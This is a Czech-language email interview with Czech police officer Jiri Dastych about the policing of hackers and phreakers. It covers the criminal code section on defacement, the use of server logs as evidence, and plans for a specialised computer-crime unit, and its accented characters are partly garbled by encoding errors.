>V nekter�ch st�tech policie najala hackery, aby odhalovali sv� b�val� kolegy. Je neco
takov�ho mozn� i u n�s?
Mozne to je a i pravdepodobne.
>Na Internetu (tus�m server hysterie.sk, nejsem si tim jist�) je report�z jak�hosi setk�n� hackeru v Praze, kde
pr� zasahovala policie a hledala “pachatele loupezneho prepadeni”. Hackeri z tohoto serveru tvrd�, ze je
policie v souvislosti s hackingem vyhledala a ze asi sedm jich bylo v t� souvislosti predvol�no. Je to pravda, nebo si
to hackeri vymysleli?
Jestli na setkani hackeru z nejakeho duvodu zasahovala Policie tak asi meli proc. Nekolik osob podezrelych z
trestne cinnosti bylo skutecne predvolano, ale to melo souvislost s jejich cinnosti a ne ze srazem kdesi v CR.
>Dopadla tedy uz Policie CR nejak� hackery?
Dosud ne.
>Ceho se vlastne dopoustej�? P�s�, ze kdyz zmen� nejakou str�nku,
nechaj� na poc�taci z�lohu puvodn� str�nky, takze vlastne nic neposkozuj�…
Dopousteji se poruseni ustanoveni � 257a trestniho zakona.
Doporucuji odcitovat. Kazdemu bude po precteni jasne coho a jak se dopousteji.
>Je mozn� hacknut� serveru nejak dok�zat?
Ano, ale rozsah zjisteni je ruzny pripad od pripadu. Mnohdy se da zjistit z jako serveru bylo na cilovy
server zautoceno coz samozrejme obvykle nebyva ten, u ktereho hackere sedi.
>Odborn�k na internetov� servery tvrd�, ze o �toc�ch svedc� pouze z�znamy v pocitaci (logy),
kter� si pr� muze napsat kazd� a upravit pak datum. Mohou b�t tyto z�znamy pouzity jako dukaz?
Ano, logy obvykle souviseji s dalsimi udaji na serveru a hlavne i s logy na serveru, ktery byl k
utoku zneuzit. Dukaz je pouzitelny pokud je objektivni a tzv. “sedi”.
>Dopadla Policie nejak� “telefandy” – phreakery?
Ne
>Napsal jste, ze jste st�le jedin�m poc�tacov�m policistou v CR. V tisku
jsem narazila na v�s n�zor, ze nen� potreba specializovan� jednotka pro boj s poc�tacov�mi pir�ty.
Budou tedy proti nim skoleni radov� policist�?
Stale (a uz ne snad dlouho jsem jediny). Je zakladano specializovane pracoviste pro
informacni kriminalitu, vzpominam si na sve tvrzeni z doby pred 2 lety. Jen hlupak nemeni nazor.
>Nejsou probl�my napr�klad hackeru nebo rozd�lu mezi volne siriteln�m software
(freeware, Public Domain, shereware) a komercnim software prilis odborn�?
Problemy hackeru jsou pravda ponekud odborneho charakteru, ale zalezitosti kolem jakehokoliv druhu
softwaru jsou pomerne jednoduche. Staci aby si kazdy kdo to chce/potrebuje vedet vyhledal potrebne informace.
>Proch�z�te tak� hackersk� str�nky na Internetu a hled�te tam informace o hackerech?
Ano
> Pokud ano, kolik easu v�m to zabere?
Minimum, nejsem chobotnice a pokud jsem na vsechno sam nemuzu delat vse a byt vsude.
>Spolupracuj� s v�mi i spr�vci ci majitel� postizen�ch serveru?
Ano a radi. Museji ovsem prekonat svou jesitnost a priznat, ze byli cilem utoku. To se jim mnohdy nechce.
>Na Internetu se vyskytuj� str�nky, kter� v�s zesmesnuj�, p�s� je nejsp�s sami hackeri. �toc� na v�s i jinak? Jsou
natolik nepolapiteln�, ze se v�m mohou sm�t?
Kazdy policista musi rozlisovat mezi provfesionalitou a vecmi tykajici se primo jeho osoby. Jako profesional nemuzu besnit pokud
si ze me nekdo dela legraci. Uprimne receno mi to ani osobne nevadi. Ucho kazdeho dzbanu se casem utrhne.
>Hackeri napadli i str�nky samotn� Policie, pomohlo v�m to nejak pri jejich sledov�n�, nebo po sobe zamazali stopy?
Nenapadli stranky Policie CR, ale pouze casopisu zapadoceske policie, ktery vychazi dilem externi spolecnosti, ktera
na svem webu wede i jeho virtualni podobu.
>Dikuji Vam za Vase odpovedi i za V�s cas
s pozdravem a pr�nim pekn�ho zbytku dne
Neo celkem neni zac.
Jiri DASTYCH
Policejni prezidium
Reditelstvi sluzby kriminalni policie
Strojnicka 27
Praha 7
170 89
navrat na obsah
co ty na to ? board